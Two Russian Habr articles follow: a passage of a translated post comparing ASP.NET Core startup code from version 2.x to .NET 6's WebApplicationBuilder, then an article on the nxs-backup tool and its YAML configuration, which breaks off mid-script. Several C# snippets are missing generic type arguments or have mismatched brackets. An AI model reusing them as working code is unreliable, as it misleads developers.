.UseStartup()
.Build();
}
```
Шаблоны по умолчанию также ссылаются на класс `Startup`. Этот класс не реализует интерфейс явно. Скорее реализация `IWebHostBuilder` просто знает, что нужно искать методы `ConfigureServices()` и `Configure()` для настройки контейнера внедрения зависимостей и конвейера промежуточного ПО соответственно.
```
public class Startup
{
public Startup(IConfiguration configuration)
{
Configuration = configuration;
}
public IConfiguration Configuration { get; }
public void ConfigureServices(IServiceCollection services)
{
services.AddMvc();
}
// Этот метод вызывается средой исполнения. Используйте этот метод для настройки конвейера HTTP запроса.
public void Configure(IApplicationBuilder app, IHostingEnvironment env)
{
if (env.IsDevelopment())
{
app.UseDeveloperExceptionPage();
}
app.UseStaticFiles();
app.UseMvc(routes =>
{
routes.MapRoute(
name: "default",
template: "{controller=Home}/{action=Index}/{id?}");
});
}
}
```
В приведённом выше классе `Startup` мы добавили сервисы MVC в контейнер, добавили промежуточное ПО обработки исключений и статических файлов, а затем добавили промежуточное ПО MVC. Промежуточное ПО MVC было единственным реальным практическим способом создания приложений на начальном этапе, обслуживая как представления, отображаемые сервером, так и конечные точки RESTful API.
#### ASP.NET Core 3.x/5: универсальный HostBuilder
ASP.NET Core 3.x внёс несколько больших изменений в стартовый код приложений. Раньше ASP.NET Core можно было использовать только для проектов веб/HTTP, но в .NET Core 3.x был сделан шаг к поддержке других подходов: длительно работающие «рабочие сервисы» (например, для использования очередей сообщений), gRPC сервисы, службы Windows и многое другое. Цель состояла в том, чтобы иметь общую базовую структуру, которая была создана специально для веб-приложений (конфигурация, ведение журнала, DI), с этими другими типами приложений.
Результатом стало создание [«универсального хоста»](https://docs.microsoft.com/en-us/aspnet/core/fundamentals/host/generic-host?view=aspnetcore-3.0) (в отличие от [веб-хоста](https://docs.microsoft.com/en-us/aspnet/core/fundamentals/host/web-host?view=aspnetcore-3.0)) и размещение стека ASP.NET Core поверх этой новой платформы. Вместо `IWebHostBuilder` появился `IHostBuilder`.
*Опять же, у меня в то время вышла* [*серия постов на тему этой миграции*](https://andrewlock.net/exploring-the-new-project-file-program-and-the-generic-host-in-asp-net-core-3/),*если вам интересно!*
Это изменение привело к нескольким неизбежным критическим изменениям, но команда ASP.NET сделала всё возможное, чтобы перенаправить весь этот код, написанный для `IWebHostBuilder`, на использование `IHostBuilder`. Одним из таких обходных путей был метод `ConfigureWebHostDefaults()`, используемый по умолчанию в шаблонах `Program.cs`:
```
public class Program
{
public static void Main(string[] args)
{
CreateHostBuilder(args).Build().Run();
}
public static IHostBuilder CreateHostBuilder(string[] args) =>
Host.CreateDefaultBuilder(args)
.ConfigureWebHostDefaults(webBuilder =>
{
webBuilder.UseStartup();
};
}
}
```
Необходимость в `ConfigureWebHostDefaults` для регистрации класса `Startup` приложений ASP.NET Core демонстрирует одну из проблем, которую решала группа .NET при миграции с `IWebHostBuilder` на `IHostBuilder`. `Startup` неразрывно связан с веб-приложениями, поскольку метод `Configure()` предназначен для настройки промежуточного ПО. Но рабочие сервисы и многие другие приложения не имеют промежуточного ПО, поэтому для классов `Startup` не имеет смысла быть концепцией уровня «универсального хоста».
Здесь на помощь приходит метод расширения `ConfigureWebHostDefaults()` в `IHostBuilder`. Этот метод оборачивает `IHostBuilder` во внутренний класс `GenericWebHostBuilder` и устанавливает все значения по умолчанию, которые `WebHost.CreateDefaultBuilder()` выполнял в ASP.NET Core 2.1. `GenericWebHostBuilder` действует как адаптер между старым `IWebHostBuilder` и новым `IHostBuilder`.
Ещё одним большим изменением в ASP.NET Core 3.x стало введение маршрутизации конечных точек. Маршрутизация конечных точек была одной из первых попыток сделать доступными концепции, которые ранее в ASP.NET Core были ограничены частью MVC, в данном случае концепция маршрутизации. Это потребовало некоторого переосмысления конвейера промежуточного ПО, но во многих случаях необходимые изменения были минимальными.
[*Я ранее написал пост, в котором подробно описал маршрутизацию конечных точек, включая то, как конвертировать ваше промежуточное ПО на использование маршрутизации конечных точек.*](https://andrewlock.net/converting-a-terminal-middleware-to-endpoint-routing-in-aspnetcore-3/#the-evolution-of-routing) *На русском языке краткое описание промежуточного ПО конечных точек есть* [*здесь*](https://t.me/NetDeveloperDiary/793)*.*
Несмотря на эти изменения, класс `Startup` в ASP.NET Core 3.x выглядел очень похоже на версию 2.x. Пример ниже почти эквивалентен версии 2.x (хотя я использовал Razor Pages вместо MVC).
```
public class Startup
{
public Startup(IConfiguration configuration)
{
Configuration = configuration;
}
public IConfiguration Configuration { get; }
public void ConfigureServices(IServiceCollection services)
{
services.AddRazorPages();
}
// Этот метод вызывается средой исполнения. Используйте этот метод для настройки конвейера HTTP запроса.
public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
if (env.IsDevelopment())
{
app.UseDeveloperExceptionPage();
}
app.UseStaticFiles();
app.UseRouting();
app.UseAuthorization();
app.UseEndpoints(endpoints =>
{
endpoints.MapRazorPages();
});
}
}
```
ASP.NET Core 5 привнёс относительно немного больших изменений в существующие приложения, так что обновление с 3.x до 5, как правило, состояло всего лишь в изменении целевой платформы и обновлении некоторых NuGet пакетов.
Для .NET 6 это будет по-прежнему актуально, если вы обновляете существующие приложения. Но для новых приложений процесс начальной загрузки по умолчанию полностью изменился...
#### ASP.NET Core 6: WebApplicationBuilder:
Во всех предыдущих версиях ASP.NET Core конфигурация разделена на 2 файла. В .NET 6 добавлено множество изменений в C#, BCL и ASP.NET Core, и теперь всё может быть в одном файле.
Обратите внимание: никто не заставляет вас использовать этот стиль. Весь код, который я показал в коде ASP.NET Core 3.x/5, по-прежнему работает в .NET 6!
```
var builder = WebApplication.CreateBuilder(args);
builder.Services.AddRazorPages();
var app = builder.Build();
if (app.Environment.IsDevelopment())
{
app.UseDeveloperExceptionPage();
}
app.UseStaticFiles();
app.MapGet("/", () => "Hello World!");
app.MapRazorPages();
app.Run();
```
Здесь очень много изменений, вот некоторые из наиболее очевидных:
* [Операторы верхнего уровня](https://docs.microsoft.com/en-us/dotnet/core/tutorials/top-level-templates) означают отсутствие шаблона `Program.Main()`.
* [Неявные директивы using](https://github.com/dotnet/sdk/issues/19521) означают, что операторы `using` не требуются. Я не включал их во фрагменты для предыдущих версий, но для .NET 6 они не нужны вовсе!
* Нет класса `Startup` – всё в одном файле.
Очевидно, что кода намного меньше, но нужно ли это? Или это сахар ради сахара? И как это работает?
#### Куда подевался весь код?
В .NET 6 большое внимание уделяется точке зрения «новичков». Если вы новичок в ASP.NET Core, вам нужно очень быстро осмыслить множество концепций. Просто взгляните на [содержание моей книги](https://dmkpress.com/files/PDF/978-5-97060-550-9-2.pdf); много что нужно изучить!
Изменения в .NET 6 в значительной степени направлены на устранение «церемонии», связанной с началом работы, и скрытие концепций, которые могут сбивать с толку новичков. Например:
* Директивы `using` не обязательны для начала работы. Хотя редакторы кода обычно решают эту проблему, это лишняя головная боль, когда вы только начинаете изучать технологию.
* Точно так же, пространства имен - ненужная концепция, если вы новичок.
* `Program.Main()`… почему это так называется? Зачем это нужно? Просто потому, что нужно? Так вот, теперь нет.
* Конфигурация не разделена между двумя файлами, `Program.cs` и `Startup.cs`. Хотя мне нравилось это «разделение ответственности», я не буду тосковать по необходимости объяснять новичкам, зачем нужно это разделение.
* Если уж мы заговорили о `Startup`, нам больше не нужно объяснять «волшебные» методы, которые вызываются, даже если они явно не реализуют интерфейс.
Кроме того, у нас есть новые типы `WebApplication` и `WebApplicationBuilder`. Эти типы не были строго необходимыми для достижения вышеупомянутых целей, но они дают нам несколько «более чистую» настройку.
#### А нам точно нужен новый тип?
Ну, на самом деле нет. Мы можем написать приложение .NET 6, очень похожее на приведённый выше пример, используя вместо этого универсальный хост:
```
var hostBuilder = Host.CreateDefaultBuilder(args)
.ConfigureServices(services =>
{
services.AddRazorPages();
})
.ConfigureWebHostDefaults(webBuilder =>
{
webBuilder.Configure((ctx, app) =>
{
if (ctx.HostingEnvironment.IsDevelopment())
{
app.UseDeveloperExceptionPage();
}
app.UseStaticFiles();
app.UseRouting();
app.UseEndpoints(endpoints =>
{
endpoints.MapGet("/", () => "Hello World!");
endpoints.MapRazorPages();
});
});
});
hostBuilder.Build().Run();
```
Я думаю, вы согласитесь, что это выглядит намного сложнее, чем версия .NET 6 `WebApplication`. У нас есть целая куча вложенных лямбда-выражений, вы должны убедиться, что получаете правильные перегрузки, чтобы, например, получить доступ к конфигурации, и, вообще говоря, он превращает то, что является (в основном) процедурным сценарием начальной загрузки, во что-то более сложное.
Еще одно преимущество `WebApplicationBuilder` состоит в том, что асинхронный код стал намного проще. Вы можете просто вызывать асинхронные методы, когда захотите. Надеюсь, это сделает [эту серию статей, которые я написал про это в ASP.NET Core 3.x/5](https://andrewlock.net/running-async-tasks-on-app-startup-in-asp-net-core-part-1/), ненужной!
Отличительной особенностью `WebApplicationBuilder` и `WebApplication` является то, что они по сути эквивалентны описанной выше общей настройке хоста, но делают это с помощью, очевидно, более простого API.
#### Большая часть конфигурации происходит в WebApplicationBuilder
Для начала рассмотрим `WebApplicationBuilder`.
```
var builder = WebApplication.CreateBuilder(args);
builder.Services.AddRazorPages();
```
[WebApplicationBuilder отвечает за 4 основные вещи](https://github.com/dotnet/aspnetcore/blob/9aff0545632a2165acc743b0ae92c438bc273806/src/DefaultBuilder/src/WebApplicationBuilder.cs):
* Добавление конфигурации с помощью `builder.Configuration`.
* Добавление сервисов с помощью `builder.Services`.
* Настройка журнала с помощью `builder.Logging`.
* Общая конфигурация `IHostBuilder` и `IWebHostBuilder`.
Рассмотрим каждую из них по очереди…
`WebApplicationBuilder` предоставляет тип `ConfigurationManager` для добавления новых источников конфигурации, а также для доступа к значениям конфигурации, как я описал в [моём предыдущем посте](https://habr.com/ru/post/594423/).
Он также предоставляет доступ к `IServiceCollection` напрямую для добавления сервисов в контейнер DI. Поэтому, в то время как с универсальным хостом вам нужно было написать:
```
var hostBuilder = Host.CreateDefaultBuilder(args);
hostBuilder.ConfigureServices(services =>
{
services.AddRazorPages();
services.AddSingleton();
})
```
с `WebApplicationBuilder` вы можете написать
```
var builder = WebApplication.CreateBuilder(args);
builder.Services.AddRazorPages();
builder.Services.AddSingleton();
```
Аналогично для журнала вместо
```
var hostBuilder = Host.CreateDefaultBuilder(args);
hostBuilder.ConfigureLogging(builder =>
{
builder.AddFile();
})
```
вы можете написать:
```
var builder = WebApplication.CreateBuilder(args);
builder.Logging.AddFile();
```
Это код имеет точно такое же поведение, только в более простом виде. Для тех точек расширения, которые напрямую зависят от `IHostBuilder` или `IWebHostBuilder`, `WebApplicationBuilder` предоставляет свойства `Host` и `WebHost` соответственно.
Например, [настройка Serilog для ASP.NET Core](https://github.com/serilog/serilog-aspnetcore) подключается к `IHostBuilder`, поэтому в ASP.NET Core 3.x/5 он добавляется с помощью следующего кода:
```
public static IHostBuilder CreateHostBuilder(string[] args) =>
Host.CreateDefaultBuilder(args)
.UseSerilog() // <-- Add this line
.ConfigureWebHostDefaults(webBuilder =>
{
webBuilder.UseStartup();
});
```
С помощью `WebApplicationBuilder` вы можете вызвать `UseSerilog()` на свойстве `Host`, а не в самом построителе:
```
builder.Host.UseSerilog();
```
Фактически, `WebApplicationBuilder` – это то место, где вы выполняете всю настройку, кроме конвейера промежуточного ПО.
#### WebApplication – и швец, и жнец…
После того, как вы настроили всё необходимое в `WebApplicationBuilder`, вы вызываете `Build()` для создания экземпляра `WebApplication`:
```
var app = builder.Build();
```
`WebApplication` интересен тем, что реализует несколько различных интерфейсов:
* `IHost` [– используется для запуска и остановки хоста](https://github.com/dotnet/runtime/blob/f29484a8681d67e5605fcf86d56f7d46e18f4396/src/libraries/Microsoft.Extensions.Hosting.Abstractions/src/IHost.cs#L13-L13).
* `IApplicationBuilder` [– используется для создания конвейера промежуточного ПО](https://github.com/dotnet/aspnetcore/blob/e6a5af6633f08890afbd99a6ca7687c623454768/src/Http/Http.Abstractions/src/IApplicationBuilder.cs).
* `IEndpointRouteBuilder` [– используется для добавления конечных точек](https://github.com/dotnet/aspnetcore/blob/e6a5af6633f08890afbd99a6ca7687c623454768/src/Http/Routing/src/IEndpointRouteBuilder.cs).
Два последних пункта во многом связаны. В ASP.NET Core 3.x и 5 `IEndpointRouteBuilder` используется для добавления конечных точек путем вызова `UseEndpoints()` и передачи ему лямбды, например:
```
public void Configure(IApplicationBuilder app)
{
app.UseStaticFiles();
app.UseRouting();
app.UseEndpoints(endpoints =>
{
endpoints.MapRazorPages();
});
}
```
В этом шаблоне .NET 3.x/5 для новичков в ASP.NET Core есть несколько сложностей:
* Построение конвейера промежуточного ПО происходит в функции `Configure()` класса `Startup` (вы должны об этом знать, чтобы искать его там).
* Обязательно вызывайте `app.UseRouting()` перед `app.UseEndpoints()` (а также размещайте другое промежуточное ПО в нужном месте).
* Вы должны использовать лямбда-выражение для настройки конечных точек (несложно для пользователей, знакомых с C#, но может сбивать с толку новичков).
`WebApplication` значительно упрощает этот шаблон:
```
app.UseStaticFiles();
app.MapRazorPages();
```
Это явно намного проще, хотя я нашёл это немного обманчивым, поскольку различие между промежуточным ПО и конечными точками гораздо менее очевидно, чем в .NET 5.x. Вероятно, это просто дело вкуса, но я думаю, что такой подход размывает концепцию важности порядка настройки (которая относится к промежуточному ПО, но не к конечным точкам).
Что я ещё не показал, так это основные принципы построения `WebApplication` и `WebApplicationBuilder`. В следующем посте я приоткрою завесу тайны, чтобы мы смогли посмотреть, что на самом деле происходит за кулисами.
### Итого
В этом посте я описал, как начальная загрузка приложений ASP.NET Core изменилась с версии 2.x до .NET 6. Я показал новые типы `WebApplication` и `WebApplicationBuilder`, представленные в .NET 6, и рассказал, почему они были введены, а также о некоторых преимуществах, которые они приносят. Наконец, я рассказал о разных ролях, которые играют эти два класса, и о том, как их API упрощают процесс запуска. В следующем посте я рассмотрю код, лежащий в основе типов, чтобы увидеть, как они работают.
[Оригинал](https://andrewlock.net/exploring-dotnet-6-part-2-comparing-webapplicationbuilder-to-the-generic-host/) | https://habr.com/ru/post/594971/ | null | ru | null |
# Резервное копирование большого количества разнородных web-проектов
Казалось бы, тема избитая – про резервное копирование сказано и написано многое, поэтому нечего изобретать велосипед, просто бери и делай. Тем не менее, каждый раз, когда перед системным администратором web-проекта встает задача настроить бэкапы, для многих она повисает в воздухе большим вопросительным знаком. Как правильно собрать бэкап данных? Где хранить резервные копии? Как обеспечить необходимый уровень ретроспективы хранения копий? Как унифицировать процесс резервного копирования для целого зоопарка различного ПО?
Для себя мы впервые решали эту задачу в 2011. Тогда мы сели и написали свои скрипты резервного копирования. На протяжении многих лет мы пользовались только ими, и они успешно обеспечивали надежный процесс сбора и синхронизации бэкапов web-проектов наших клиентов. Бэкапы хранились в нашем либо каком-то другом внешнем хранилище, с возможностью тюнинга под конкретный проект.
Надо сказать, эти скрипты отработали своё по полной. Но чем дальше мы росли, тем больше у нас появлялось разношерстных проектов с разным ПО и внешними хранилищами, которые наши скрипты не поддерживали. Например, у нас не было поддержки Redis и “горячих” бэкапов MySQL и PostgreSQL, которые появились позже. Процесс бэкапов не мониторился, были только email-алерты.
Другой проблемой был процесс поддержки. За многие годы наши, некогда компактные, скрипты разрослись и превратились в огромного несуразного монстра. И когда мы собирались с силами и выпускали новую версию, отдельных усилий стоило выкатить обновление для той части клиентов, которые использовали предыдущую версию с какой-то кастомизацией.
В итоге в начале этого года мы приняли волевое решение: заменить наши старые скрипты бэкапов чем-то более современным. Поэтому сначала мы сели и выписали все хотелки к новому решению. Получилось примерно следующее:
* Бэкапить данные наиболее часто используемого в работе ПО:
+ Файлы (дискретное и инкрементное копирование)
+ MySQL (холодные/горячие бэкапы)
+ PostgreSQL (холодные/горячие бэкапы)
+ MongoDB
+ Redis
* Хранить бэкапы в популярных хранилищах:
+ Local
+ FTP
+ SSH
+ SMB
+ NFS
+ WebDAV
+ S3
* Получать алерты в случае возникновения каких-либо проблем в процессе резервного копирования
* Иметь единый конфигурационный файл, который позволит управлять бэкапами централизованно
* Добавлять поддержку нового ПО через подключение внешних модулей
* Указывать extra опции для сбора дампов
* Иметь возможность восстановить бэкапы штатными средствами
* Простота начального конфигурирования
Анализируем имеющиеся решения
=============================
Мы посмотрели open-source решения, которые уже существуют:
* Bacula и её форки, например, Bareos
* Amanda
* Borg
* Duplicaty
* Duplicity
* Rsnapshot
* Rdiff-backup
Но у каждого из них были свои недостатки. Например, Bacula перегружена ненужными нам функциями, начальное конфигурирование — достаточно трудоемкое занятие из-за большого количества ручной работы (например, для написания/поиска скриптов бэкапов БД), а для восстановления копий необходимо задействовать специальные утилиты и т.д.
В конце концов мы пришли к двум важным выводам:
1. Ни одно из существующих решений в полной мере нам не подходило;
2. Похоже, у нас у самих было достаточно опыта и безумия, чтобы взяться за написание своего решения.
Так мы и сделали.
Рождение nxs-backup
===================
В качестве языка для реализации выбрали Python – он прост в написании и поддержке, гибок и удобен. Конфигурационные файлы было принято решение описывать в формате yaml.
Для удобства поддержки и добавления бэкапов нового ПО была выбрана модульная архитектура, где процесс сбора бэкапов каждого конкретного ПО (например, MySQL) описывается в отдельном модуле.
Поддержка файлов, БД и удалённых хранилищ
-----------------------------------------
На текущий момент реализована поддержка следующих типов бэкапов файлов, БД и удалённых хранилищ:
БД:
* MySQL (горячие/холодные бэкапы)
* PostgreSQL (горячие/холодные бэкапы)
* Redis
* MongoDB
Файлы:
* Дискретное копирование
* Инкрементное копирование
Удалённые хранилища:
* Local
* S3
* SMB
* NFS
* FTP
* SSH
* WebDAV
Дискретное резервное копирование
--------------------------------
Для разных задач подойдут либо дискретные, либо инкрементные бэкапы, поэтому реализовали оба типа. Можно задавать, какой способ использовать на уровне отдельных файлов и каталогов.
Для дискретных копий (как файлов, так и БД) можно задавать ретроспективу в формате дни/недели/месяцы.
Инкрементное резервное копирование
----------------------------------
Инкрементные копии файлов делаются по следующей схеме:
В начале года собирается полный бэкап. Далее в начале каждого месяца – инкрементная месячная копия относительно годичной. Внутри месячных – инкрементные декадные относительно месячной. Внутри каждой декадной – инкрементные дневные относительно декадной.
Стоит оговориться, что пока наблюдаются некоторые проблемы при работе с директориями, которые содержат большое количество поддиректорий (десятки тысяч). В таких случаях сбор копий значительно замедляется и может протекать более суток. Мы активно занимаемся устранением этого недочета.
Восстанавливаемся из инкрементных бэкапов
-----------------------------------------
С восстановлением из дискретных бэкапов проблем нет – просто берём копию за нужную дату и разворачиваем обычным консольным tar. С инкрементными копиями немного сложнее. Чтобы восстановиться, например, на 24 июля 2018, нужно выполнить следующее:
1. Развернуть годичный бэкап, пусть в нашем случае он отсчитывается от 1 января 2018 (на практике это может быть любая дата, в зависимости от того, когда было принято решение внедрить инкрементное резервное копирование)
2. Накатить на него месячный бэкап за июль
3. Накатить декадный бэкап за 21-ое июля
4. Накатить дневной бэкап за 24 июля
При этом для выполнения 2-4 пунктов необходимо в команду tar добавить ключ -G, тем самым указав, что это инкрементный бэкап. Конечно, не самый быстрый процесс, но если учесть, что восстанавливаться из бэкапов приходиться не так уж часто и важна экономичность, такая схема получается вполне эффективной.
Исключения
----------
Часто нужно исключить из бэкапов отдельные файлы или каталоги, например, каталоги с кешем. Это можно сделать, указав соответствующие правила-исключения:
**пример конфигурационного файла**
```
- target:
- /var/www/*/data/
excludes:
- exclude1/exclude_file
- exclude2
- /var/www/exclude_3
```
Ротация бэкапов
---------------
В наших старых скриптах ротация была реализована так, что старая копия удалялась только после того, как новая собиралась успешно. Это приводило к проблемам на проектах, где места под бэкапы в принципе выделено ровно под одну копию – свежая копия не могла там собраться по причине нехватки места.
В новой реализации мы решили поменять этот подход: сначала удалять старую и уже потом собирать новую копию. А процесс сбора бэкапов поставить на мониторинг, чтобы узнавать о возникновении каких-либо проблем.
При дискретном резервном копировании старой копией считается архив, который выходит за рамки заданной схемы хранения в формате дни/недели/месяцы. В случае инкрементного резервного копирования бэкапы по умолчанию хранятся год, а удаление старых копий происходит в начале каждого месяца, при этом старыми резервными копиями считаются архивы за тот же месяц прошлого года. Например, перед сбором месячного бэкапа 1 августа 2018 система проверит, есть ли бэкапы за август 2017, и если да, то удалит их. Это позволяет оптимально использовать дисковое пространство.
Логирование
-----------
В любом процессе, а в бэкапах особенно, важно держать руку на пульсе и иметь возможность узнавать, если что-то пошло не так. Система ведёт лог своей работы и фиксирует результат каждого шага: запуск/остановка средств, начало/конец выполнения определенного задания, результат сбора копии во временном каталоге, результат копирования/перемещения копии из временного каталога в постоянное место дислокации, результат ротации бэкапов и т.д..
События делятся на 2 уровня:
* *Info*: информационный уровень – полёт проходит нормально, очередной этап завершился успешно, в логе делается соответствующая запись информационного характера
* *Error*: уровень ошибки – что-то пошло не так, очередной этап завершился аварийно, в логе делается соответствующая запись об ошибке
E-mail нотификации
------------------
По окончанию сбора резервной копии система может рассылать email-уведомления.
Поддерживаются 2 списка получателей:
* *Администраторы* – те, кто обслуживают сервер. Они получают только нотификации об ошибках, нотификации об успешных операциях им не интересны
* *Бизнес-пользователи* – в нашем случае это клиенты, которые иногда хотят получать уведомления, чтобы удостовериться, что с бэкапами у них всё хорошо. Или, наоборот, не очень. Они могут выбирать – получать полный лог либо только лог с ошибками.
Структура конфигурационных файлов
---------------------------------
Структура конфигурационных файлов выглядит следующим образом:
**пример структуры**
```
/etc/nxs-backup
├── conf.d
│ ├── desc_files_local.conf
│ ├── external_clickhouse_local.conf
│ ├── inc_files_smb.conf
│ ├── mongodb_nfs.conf
│ ├── mysql_s3.conf
│ ├── mysql_xtradb_scp.conf
│ ├── postgresql_ftp.conf
│ ├── postgresql_hot_webdav.conf
│ └── redis_local_ftp.conf
└── nxs-backup.conf
```
Здесь */etc/nxs-backup/nxs-backup.conf* – главный конфигурационный файл, в котором указываются глобальные настройки:
**конфигурационный файл**
```
main:
server_name: SERVER_NAME
admin_mail: project-tech@nixys.ru
client_mail:
- ''
mail_from: backup@domain.ru
level_message: error
block_io_read: ''
block_io_write: ''
blkio_weight: ''
general_path_to_all_tmp_dir: /var/nxs-backup
cpu_shares: ''
log_file_name: /var/log/nxs-backup/nxs-backup.log
jobs: !include [conf.d/*.conf]
```
Массив заданий (jobs) содержит список задач (job), которые представляют собой описание того, что именно бэкапить, где хранить и в каком количестве. Как правило, они выносятся в отдельные файлы (один файл на один job), которые подключаются через include в главном конфигурационном файле.
Также позаботились о том, чтобы максимально оптимизировать процесс подготовки этих файлов и написали простенький генератор. Поэтому администратору не нужно тратить время на поиск шаблона конфига для какого-то сервиса, например, MySQL, а достаточно просто запустить команду:
```
nxs-backup generate --storage local scp --type mysql --path /etc/nxs-backup/conf.d/mysql_local_scp.conf
```
На выходе генерируется файл */etc/nxs-backup/conf.d/mysql\_local\_scp.conf*:
**Содержимое файла**
```
- job: PROJECT-mysql
type: mysql
tmp_dir: /var/nxs-backup/databases/mysql/dump_tmp
sources:
- connect:
db_host: ''
db_port: ''
socket: ''
db_user: ''
db_password: ''
auth_file: ''
target:
- all
excludes:
- information_schema
- performance_schema
- mysql
- sys
gzip: no
is_slave: no
extra_keys: '--opt --add-drop-database --routines --comments --create-options --quote-names --order-by-primary --hex-blob'
storages:
- storage: local
enable: yes
backup_dir: /var/nxs-backup/databases/mysql/dump
store:
days: ''
weeks: ''
month: ''
- storage: scp
enable: yes
backup_dir: /var/nxs-backup/databases/mysql/dump
user: ''
host: ''
port: ''
password: ''
path_to_key: ''
store:
days: ''
weeks: ''
month: ''
```
В котором остаётся только подставить несколько нужных значений.
Разберём на примере. Пусть у нас на сервере в каталоге /var/www есть две площадки интернет-магазина на 1С-Битрикс (bitrix-1.ru, bitrix-2.ru), каждая из которых работает со своей БД в разных инстансах MySQL (3306 порт для bitrix\_1\_db и 3307 порт для bitrix\_2\_db).
Структура файлов типичного Битрикс-проекта примерно следующая:
```
├── ...
├── bitrix
│ ├── ..
│ ├── admin
│ ├── backup
│ ├── cache
│ ├── ..
│ ├── managed_cache
│ ├── ..
│ ├── stack_cache
│ └── ..
├── upload
└── ...
```
Как правило, каталог *upload* весит много, и со временем только растёт, поэтому его бэкапим инкрементно. Все остальные каталоги — дискретно, за исключением каталогов с кешем и бэкапами, собираемых нативными средствами Bitrix. Пусть схема хранения бэкапов для этих двух площадок должна быть одинакова, при этом копии файлов нужно хранить как локально, так и на удаленном ftp-хранилище, а БД — только на удаленном smb-хранилище.
Итоговые конфигурационные файлы для такого сетапа будут иметь следующий вид:
**bitrix-desc-files.conf (конфигурационный файл с описанием job для дискретного резервного копирования)**
```
- job: Bitrix-desc-files
type: desc_files
tmp_dir: /var/nxs-backup/files/desc/dump_tmp
sources:
- target:
- /var/www/*/
excludes:
- bitrix/backup
- bitrix/cache
- bitrix/managed_cache
- bitrix/stack_cache
- upload
gzip: yes
storages:
- storage: local
enable: yes
backup_dir: /var/nxs-backup/files/desc/dump
store:
days: 6
weeks: 4
month: 6
- storage: ftp
enable: yes
backup_dir: /nxs-backup/databases/mysql/dump
host: ftp_host
user: ftp_usr
password: ftp_usr_pass
store:
days: 6
weeks: 4
month: 6
```
**bitrix-inc-files.conf (конфигурационный файл с описанием job для инкрементного резервного копирования)**
```
- job: Bitrix-inc-files
type: inc_files
sources:
- target:
- /var/www/*/upload/
gzip: yes
storages:
- storage: ftp
enable: yes
backup_dir: /nxs-backup/files/inc
host: ftp_host
user: ftp_usr
password: ftp_usr_pass
- storage: local
enable: yes
backup_dir: /var/nxs-backup/files/inc
```
**bitrix-mysql.conf (конфигурационный файл с описанием job для бэкапов MySQL)**
```
- job: Bitrix-mysql
type: mysql
tmp_dir: /var/nxs-backup/databases/mysql/dump_tmp
sources:
- connect:
db_host: localhost
db_port: 3306
db_user: bitrux_usr_1
db_password: password_1
target:
- bitrix_1_db
excludes:
- information_schema
- performance_schema
- mysql
- sys
gzip: no
is_slave: no
extra_keys: '--opt --add-drop-database --routines --comments --create-options --quote-names --order-by-primary --hex-blob'
- connect:
db_host: localhost
db_port: 3307
db_user: bitrix_usr_2
db_password: password_2
target:
- bitrix_2_db
excludes:
- information_schema
- performance_schema
- mysql
- sys
gzip: yes
is_slave: no
extra_keys: '--opt --add-drop-database --routines --comments --create-options --quote-names --order-by-primary --hex-blob'
storages:
- storage: smb
enable: yes
backup_dir: /nxs-backup/databases/mysql/dump
host: smb_host
port: smb_port
share: smb_share_name
user: smb_usr
password: smb_usr_pass
store:
days: 6
weeks: 4
month: 6
```
Параметры для запуска сбора бэкапов
-----------------------------------
В предыдущем примере мы подготовили конфигурационные файлы job для сбора бэкапов сразу всех элементов: файлов (дискретно и инкрементно), двух БД и их хранения на локальном и внешних (ftp, smb) хранилищах.
Осталось всё это дело запустить. Запуск производится командой:
```
nxs-backup start $JOB_NAME -c $PATH_TO_MAIN_CONFIG
```
При этом есть несколько зарезервированных имен job:
* **files** — выполнение в произвольном порядке всех job с типами *desc\_files*, *inc\_files* (то есть, по сути забэкапить только файлы)
* **databases** — выполнение в произвольном порядке всех job с типами *mysql*, *mysql\_xtradb*, *postgresql*, *postgresql\_hot*, *mongodb*, *redis* (то есть, забэкапить только БД)
* **external** — выполнение в произвольном порядке всех job с типом *external* (запуск только дополнительных пользовательских скриптов, подробнее об этом ниже)
* **all** — имитация поочередного запуска команды с job *files*, *databases*, *external* (значение по умолчанию)
Поскольку нам необходимо на выходе получить бэкапы данных как файлов, так и БД по состоянию на одно и тоже время (или с минимальной разницей), то рекомендуется осуществлять запуск nxs-backup с job **all**, что обеспечит последовательное выполнение описанных job (Bitrix-desc-files, Bitrix-inc\_files, Bitrix-mysql).
То есть, важный момент – бэкапы будут собираться не параллельно, а последовательно, один за другим, с минимальной разницей во времени. Более того — само ПО при очередном запуске проверяет наличие уже запущенного процесса в системе и в случае его обнаружения автоматически завершит свою работу с соответствующей пометкой в журнале. Такой подход значительно снижает нагрузку на систему. Минус – бэкапы отдельных элементов собираются не одномоментно, а с некоторой разницей во времени. Но пока наша практика показывает, что это не критично.
Внешние модули
--------------
Как было сказано выше, благодаря модульной архитектуре, возможности системы можно расширять с помощью дополнительных пользовательских модулей, которые взаимодействуют с системой через специальный интерфейс. Цель – иметь в будущем возможность добавлять поддержку бэкапов нового ПО без необходимости переписывать nxs-backup.
**пример конфигурационного файла**
```
- job: TEST-external
type: external
dump_cmd: ''
storages:
….
```
Особое внимание необходимо уделить ключу **dump\_cmd**, где в качестве значения указывается полная команда для запуска внешнего скрипта. При этом по завершению выполнения данной команды ожидается, что:
* Будет собран готовый архив данных ПО
* В stdout будут отправлены данные в формате json, вида:
```
{
"full_path": "ABS_PATH_TO_ARCHIVE",
"basename": "BASENAME_ARCHIVE",
"extension": "EXTERNSION_OF_ARCHIVE",
"gzip": true/false
}
```
+ При этом ключи *basename*, *extension*, *gzip* необходимы исключительно для формирования конечного имени бэкапа.
* В случае успешного завершения работы скрипта код возврата должен быть 0 и любой другой в случае возникновения каких-либо проблем.
Например, пусть у нас есть скрипт для создания snapshot etcd */etc/nxs-backup-ext/etcd.py*:
**код скрипта**
```
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
import json
import os
import subprocess
import sys
import tarfile
def archive(snapshot_path):
abs_tmp_path = '%s.tar' %(snapshot_path)
with tarfile.open(abs_tmp_path, 'w:') as tar:
tar.add(snapshot_path)
os.unlink(snapshot_path)
return abs_tmp_path
def exec_cmd(cmdline):
data_dict = {}
current_process = subprocess.Popen([cmdline], stdout=subprocess.PIPE,
stderr=subprocess.PIPE, shell=True,
executable='/bin/bash')
data = current_process.communicate()
data_dict['stdout'] = data[0][0:-1].decode('utf-8')
data_dict['stderr'] = data[1][0:-1].decode('utf-8')
data_dict['code'] = current_process.returncode
return data_dict
def main():
snapshot_path = "/var/backups/snapshot.db"
dump_cmd = "ETCDCTL_API=3 etcdctl --cacert=/etc/ssl/etcd/ssl/ca.pem --cert=/etc/ssl/etcd/ssl/member-node1.pem"+\
